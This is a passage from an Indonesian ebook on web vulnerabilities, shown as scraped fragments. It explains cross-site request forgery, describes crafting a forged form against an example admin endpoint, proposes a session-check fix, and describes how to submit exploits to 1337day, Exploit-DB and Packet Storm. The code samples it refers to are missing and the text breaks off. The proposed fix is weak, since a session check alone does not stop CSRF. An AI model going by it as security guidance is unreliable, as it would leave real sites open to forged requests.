  • 0x06 - Cross Site Request Forgery Apa itu Cross Site Request Forgery? Cross Site Request Forgery merupakan teknik pemalsuan permintaan yang berasal dari halaman web atau situs yang berbeda. Cross Site Request Forgery biasanya terjadi pada halaman admin sebuah web.
  • 0x06 - Cross Site Request Forgery Kode yang Menimbulkan Celah Cross Site Request Forgery dapat terjadi karena kesalahan dalam sebuah kode dan tidak adanya session dalam sebuah kode. Contoh : Misalkan terjadi pada file /administrator/post.php , dan file tersebut berisi kode seperti dibawah ini Kode diatas dapat melakukan penambahan data pada database. Terlihat jelas bahwa user biasa dapat menambahkan data jika user tersebut mengetahui parameter post karena tidak adanya sebuah session.
  • 0x06 - Cross Site Request Forgery Injeksi Cross Site Request Forgery Untuk melakukan injeksi terhadap Cross Site Request Forgery, kita harus memasukan kode injeksi dan membutuhkan sebuah kode dan mengetahui parameter pada web target. Kode Exploit Cross Site Request Forgery Pada celah ini, kita membutuhkan sebuah kode untuk melakukan injeksi. Contoh : Jika Cross Site Request Forgery terjadi pada http://google.com/administrator/post.php dan terdapat pada parameter post dan name. Berikut isi kode dari http://google.com/administrator/post.php Jadi kita akan membuat sebuah kode yang melakukan penyerangan ke parameter post dan name Berikut contoh kode Kode tersebut akan menjadi seperti ini Lalu tinggal melakukan submit pada data yang telah di input pada form text tersebut.
  • 0x06 - Cross Site Request Forgery Menutup Celah Cross Site Request Forgery Untuk menutup celah ini, kita hanya perlu menambahkan session pada kode php. Contoh kode : Dari kode diatas, kita menambahkan fungsi session_start() dan $_SESSION pada kode. Kode tersebut berfungsi untuk melakukan pemeriksaan session. Jika username bukan admin, maka posting gagal.
  • 0x07 - Mengarsipkan Exploit Membuat Keterangan Exploit untuk Dikirim Setelah kita selesai menganalisis kode dan menemukan sebuah celah (vulnerability) pada suatu Content Management System (CMS), kini saatnya kita membuat keterangan mengenai exploit kita untuk diarsipkan ke beberapa exploit archive seperti 1337day, Exploit-DB, dan Packet Storm Security. Dalam membuat exploit, kita harus memberikan keterangan seperti Title, Author, Date Found, Version, Category, Vendor, Tested on, Vulnerability, dan POC.
  • 0x07 - Mengarsipkan Exploit Membuat Keterangan Exploit untuk Dikirim Contoh Keterangan Exploit Berikut adalah contoh dalam membuat keterangan exploit. Dalam membuat keterangan exploit, jangan lupa memberikan keterangan POC yang sangat jelas.
  • 0x07 - Mengarsipkan Exploit Mengirim Exploit ke 1337day Untuk mengirim exploit yang telah kita buat ke 1337day, kita harus mengirimkan sebuah email ke pihak 1337day. 1. [email protected] 2. [email protected]
  • 0x07 - Mengarsipkan Exploit Mengirim Exploit ke Exploit-DB Untuk mengirim exploit yang telah kita buat ke Exploit-DB, kita harus mengirimkan sebuah email ke pihak Exploit-DB. 1. [email protected]
  • 0x07 - Mengarsipkan Exploit Mengirim Exploit ke Packet Storm Security Untuk mengirim exploit yang telah kita buat ke Packet Storm Security, kita harus mengirimkan sebuah email ke pihak Packet Storm Security. 1. [email protected]
  • Demikian yang dapat penulis paparkan mengenai materi yang menjadi pokok bahasan dalam ebook ini, tentunya masih banyak kekurangan dan kelemahannya. Penulis banyak berharap para pembaca memberikan kritik dan saran yang membangun kepada penulis demi sempurnanya ebook ini dalam penulisan ebook di kesempatan- kesempatan berikutnya. Semoga ebook ini berguna bagi para pembaca ebook ini. Terima kasih kepada
Fly UP